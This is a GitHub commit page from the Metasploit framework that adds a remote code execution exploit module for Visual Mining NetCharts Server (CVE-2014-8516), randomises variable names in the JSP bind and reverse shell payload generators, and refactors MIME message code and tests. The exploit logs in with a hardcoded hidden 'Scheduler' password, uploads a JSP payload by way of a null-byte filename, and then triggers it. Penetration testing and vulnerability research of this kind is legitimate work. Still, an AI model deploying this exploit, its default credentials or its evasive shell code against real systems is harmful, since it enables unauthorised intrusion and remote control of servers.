Skip to content

Commit 7b25e3b

Browse files
committed
Land rapid7#4139, Visual Mining NetCharts
landed after some touch up
2 parents 64fe2dd + 7510fb4 commit 7b25e3b

File tree

4 files changed

+188
-50
lines changed

4 files changed

+188
-50
lines changed

lib/msf/core/payload/jsp.rb

Lines changed: 44 additions & 32 deletions
Original file line numberDiff line numberDiff line change
@@ -22,6 +22,12 @@ def initialize(info = {})
2222
# @return [String] jsp code that executes bind TCP payload
2323
def jsp_bind_tcp
2424
# Modified from: http://www.security.org.sg/code/jspreverse.html
25+
26+
var_is = Rex::Text.rand_text_alpha_lower(2)
27+
var_os = Rex::Text.rand_text_alpha_lower(2)
28+
var_in = Rex::Text.rand_text_alpha_lower(2)
29+
var_out = Rex::Text.rand_text_alpha_lower(3)
30+
2531
jsp = <<-EOS
2632
<%@page import="java.lang.*"%>
2733
<%@page import="java.util.*"%>
@@ -31,37 +37,37 @@ def jsp_bind_tcp
3137
<%
3238
class StreamConnector extends Thread
3339
{
34-
InputStream is;
35-
OutputStream os;
40+
InputStream #{var_is};
41+
OutputStream #{var_os};
3642
37-
StreamConnector( InputStream is, OutputStream os )
43+
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
3844
{
39-
this.is = is;
40-
this.os = os;
45+
this.#{var_is} = #{var_is};
46+
this.#{var_os} = #{var_os};
4147
}
4248
4349
public void run()
4450
{
45-
BufferedReader in = null;
46-
BufferedWriter out = null;
51+
BufferedReader #{var_in} = null;
52+
BufferedWriter #{var_out} = null;
4753
try
4854
{
49-
in = new BufferedReader( new InputStreamReader( this.is ) );
50-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
55+
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
56+
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
5157
char buffer[] = new char[8192];
5258
int length;
53-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
59+
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
5460
{
55-
out.write( buffer, 0, length );
56-
out.flush();
61+
#{var_out}.write( buffer, 0, length );
62+
#{var_out}.flush();
5763
}
5864
} catch( Exception e ){}
5965
try
6066
{
61-
if( in != null )
62-
in.close();
63-
if( out != null )
64-
out.close();
67+
if( #{var_in} != null )
68+
#{var_in}.close();
69+
if( #{var_out} != null )
70+
#{var_out}.close();
6571
} catch( Exception e ){}
6672
}
6773
}
@@ -87,6 +93,12 @@ class StreamConnector extends Thread
8793
# @return [String] jsp code that executes reverse TCP payload
8894
def jsp_reverse_tcp
8995
# JSP Reverse Shell modified from: http://www.security.org.sg/code/jspreverse.html
96+
97+
var_is = Rex::Text.rand_text_alpha_lower(2)
98+
var_os = Rex::Text.rand_text_alpha_lower(2)
99+
var_in = Rex::Text.rand_text_alpha_lower(2)
100+
var_out = Rex::Text.rand_text_alpha_lower(3)
101+
90102
jsp = <<-EOS
91103
<%@page import="java.lang.*"%>
92104
<%@page import="java.util.*"%>
@@ -96,37 +108,37 @@ def jsp_reverse_tcp
96108
<%
97109
class StreamConnector extends Thread
98110
{
99-
InputStream is;
100-
OutputStream os;
111+
InputStream #{var_is};
112+
OutputStream #{var_os};
101113
102-
StreamConnector( InputStream is, OutputStream os )
114+
StreamConnector( InputStream #{var_is}, OutputStream #{var_os} )
103115
{
104-
this.is = is;
105-
this.os = os;
116+
this.#{var_is} = #{var_is};
117+
this.#{var_os} = #{var_os};
106118
}
107119
108120
public void run()
109121
{
110-
BufferedReader in = null;
111-
BufferedWriter out = null;
122+
BufferedReader #{var_in} = null;
123+
BufferedWriter #{var_out} = null;
112124
try
113125
{
114-
in = new BufferedReader( new InputStreamReader( this.is ) );
115-
out = new BufferedWriter( new OutputStreamWriter( this.os ) );
126+
#{var_in} = new BufferedReader( new InputStreamReader( this.#{var_is} ) );
127+
#{var_out} = new BufferedWriter( new OutputStreamWriter( this.#{var_os} ) );
116128
char buffer[] = new char[8192];
117129
int length;
118-
while( ( length = in.read( buffer, 0, buffer.length ) ) > 0 )
130+
while( ( length = #{var_in}.read( buffer, 0, buffer.length ) ) > 0 )
119131
{
120-
out.write( buffer, 0, length );
121-
out.flush();
132+
#{var_out}.write( buffer, 0, length );
133+
#{var_out}.flush();
122134
}
123135
} catch( Exception e ){}
124136
try
125137
{
126-
if( in != null )
127-
in.close();
128-
if( out != null )
129-
out.close();
138+
if( #{var_in} != null )
139+
#{var_in}.close();
140+
if( #{var_out} != null )
141+
#{var_out}.close();
130142
} catch( Exception e ){}
131143
}
132144
}

lib/rex/mime/message.rb

Lines changed: 9 additions & 14 deletions
Original file line numberDiff line numberDiff line change
@@ -24,11 +24,11 @@ def initialize(data=nil)
2424
self.header.parse(head)
2525
ctype = self.header.find('Content-Type')
2626

27-
if ctype and ctype[1] and ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
27+
if ctype && ctype[1] && ctype[1] =~ /multipart\/mixed;\s*boundary="?([A-Za-z0-9'\(\)\+\_,\-\.\/:=\?^\s]+)"?/
2828
self.bound = $1
2929
chunks = body.to_s.split(/--#{self.bound}(--)?\r?\n/)
3030
self.content = chunks.shift.to_s.gsub(/\s+$/, '')
31-
self.content << "\r\n" if not self.content.empty?
31+
self.content << "\r\n" unless self.content.empty?
3232

3333
chunks.each do |chunk|
3434
break if chunk == "--"
@@ -88,15 +88,13 @@ def mime_defaults
8888
def add_part(data='', content_type='text/plain', transfer_encoding="8bit", content_disposition=nil)
8989
part = Rex::MIME::Part.new
9090

91-
if (content_disposition)
91+
if content_disposition
9292
part.header.set("Content-Disposition", content_disposition)
9393
end
9494

95-
if (content_type)
96-
part.header.set("Content-Type", content_type)
97-
end
95+
part.header.set("Content-Type", content_type) if content_type
9896

99-
if (transfer_encoding)
97+
if transfer_encoding
10098
part.header.set("Content-Transfer-Encoding", transfer_encoding)
10199
end
102100

@@ -125,20 +123,17 @@ def add_part_inline_attachment(data, name)
125123
end
126124

127125
def to_s
128-
msg = force_crlf(self.header.to_s + "\r\n")
126+
header_string = self.header.to_s
129127

130-
unless self.content.blank?
131-
msg << force_crlf(self.content + "\r\n")
132-
end
128+
msg = header_string.empty? ? '' : force_crlf(self.header.to_s + "\r\n")
129+
msg << force_crlf(self.content + "\r\n") unless self.content.blank?
133130

134131
self.parts.each do |part|
135132
msg << force_crlf("--" + self.bound + "\r\n")
136133
msg << part.to_s
137134
end
138135

139-
if self.parts.length > 0
140-
msg << force_crlf("--" + self.bound + "--\r\n")
141-
end
136+
msg << force_crlf("--" + self.bound + "--\r\n") if self.parts.length > 0
142137

143138
msg
144139
end
Lines changed: 132 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,132 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = ExcellentRanking
10+
11+
include Msf::Exploit::Remote::HttpClient
12+
include Msf::Exploit::FileDropper
13+
14+
DEFAULT_USERNAME = 'Scheduler'
15+
DEFAULT_PASSWORD = '!@#$scheduler$#@!'
16+
SIGNATURE = 'was uploaded successfully and is now ready for installation'
17+
18+
def initialize(info = {})
19+
super(update_info(info,
20+
'Name' => 'Visual Mining NetCharts Server Remote Code Execution',
21+
'Description' => %q{
22+
This module exploits multiple vulnerabilities in Visual Mining NetCharts.
23+
First, a lack of input validation in the administration console permits
24+
arbitrary jsp code upload to locations accessible later through the web
25+
service. Authentication is typically required, however a 'hidden' user is
26+
available by default (and non editable). This user, named 'Scheduler',
27+
can only login to the console after any modification in the user
28+
database (a user is added, admin password is changed etc). If the
29+
'Scheduler' user isn't available valid credentials must be supplied. The
30+
default Admin password is Admin.
31+
},
32+
'Author' =>
33+
[
34+
'sghctoma', # Vulnerability Discovery
35+
'juan vazquez' # Metasploit module
36+
],
37+
'License' => MSF_LICENSE,
38+
'References' =>
39+
[
40+
['CVE', '2014-8516'],
41+
['ZDI', '14-372']
42+
],
43+
'Privileged' => true,
44+
'Platform' => %w{ linux win },
45+
'Arch' => ARCH_JAVA,
46+
'Targets' =>
47+
[
48+
['Visual Mining NetCharts Server 7.0', {}]
49+
],
50+
'DefaultTarget' => 0,
51+
'DisclosureDate' => 'Nov 03 2014'))
52+
53+
register_options(
54+
[
55+
Opt::RPORT(8001),
56+
OptString.new('USERNAME', [false, "The username to authenticate with"]),
57+
OptString.new('PASSWORD', [false, "The password to authenticate with"])
58+
], self.class)
59+
end
60+
61+
def check
62+
res = send_request_cgi({
63+
'method' => 'GET',
64+
'uri' => normalize_uri('/', 'Admin', 'archive', 'upload.jsp'),
65+
'vars_get' => { 'mode' => 'getZip' },
66+
'authorization' => basic_auth(username, password)
67+
})
68+
69+
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
70+
Exploit::CheckCode::Detected
71+
else
72+
Exploit::CheckCode::Safe
73+
end
74+
end
75+
76+
def exploit
77+
jsp_payload = "#{rand_text_alphanumeric(4 + rand(32-4))}.jsp"
78+
print_status("#{peer} - Uploading JSP payload #{jsp_payload}...")
79+
if upload(jsp_payload, payload.encoded)
80+
print_good("#{peer} - JSP payload uploaded successfully")
81+
register_file_for_cleanup("./webapps/Admin/archive/ArchiveCache/#{jsp_payload}")
82+
else
83+
fail_with(Failure::Unknown, "#{peer} - JSP payload upload failed")
84+
end
85+
86+
print_status("#{peer} - Executing payload...")
87+
execute(jsp_payload, 1)
88+
end
89+
90+
def execute(jsp_name, time_out = 20)
91+
res = send_request_cgi({
92+
'uri' => normalize_uri('/', 'Admin', 'archive', 'ArchiveCache', jsp_name),
93+
'method' => 'GET',
94+
'authorization' => basic_auth(username, password)
95+
}, time_out)
96+
97+
res
98+
end
99+
100+
def upload(file_name, contents)
101+
post_data = Rex::MIME::Message.new
102+
post_data.add_part(
103+
contents,
104+
'application/octet-stream',
105+
nil,
106+
"form-data; name=\"FILE1\"; filename=\"#{file_name}\x00Archive0101140101.zip\""
107+
)
108+
109+
res = send_request_cgi({
110+
'uri' => normalize_uri("/", 'Admin', 'archive', 'upload.jsp'),
111+
'method' => 'GET',
112+
'ctype' => "multipart/form-data; boundary=#{post_data.bound}",
113+
'data' => post_data.to_s,
114+
'vars_get' => { 'mode' => 'getZip' },
115+
'authorization' => basic_auth(username, password)
116+
})
117+
118+
if res && res.code == 200 && res.body && res.body.to_s.include?(SIGNATURE)
119+
true
120+
else
121+
false
122+
end
123+
end
124+
125+
def username
126+
datastore['USERNAME'].blank? ? DEFAULT_USERNAME : datastore['USERNAME']
127+
end
128+
129+
def password
130+
datastore['PASSWORD'].blank? ? DEFAULT_PASSWORD : datastore['PASSWORD']
131+
end
132+
end

spec/lib/rex/mime/message_spec.rb

Lines changed: 3 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -369,8 +369,7 @@
369369
end
370370

371371
let(:regexp_web) do
372-
regex = "\r\n"
373-
regex << "--_Part_.*\r\n"
372+
regex = "--_Part_.*\r\n"
374373
regex << "Content-Disposition: form-data; name=\"action\"\r\n"
375374
regex << "\r\n"
376375
regex << "save\r\n"
@@ -388,8 +387,8 @@
388387
Regexp.new(regex)
389388
end
390389

391-
it "returns \\r\\n if Rex::MIME::Message is empty" do
392-
expect(subject.to_s).to eq("\r\n")
390+
it "returns empty string if Rex::MIME::Message is empty" do
391+
expect(subject.to_s).to be_empty
393392
end
394393

395394
it "generates valid MIME email messages" do

0 commit comments

Comments
 (0)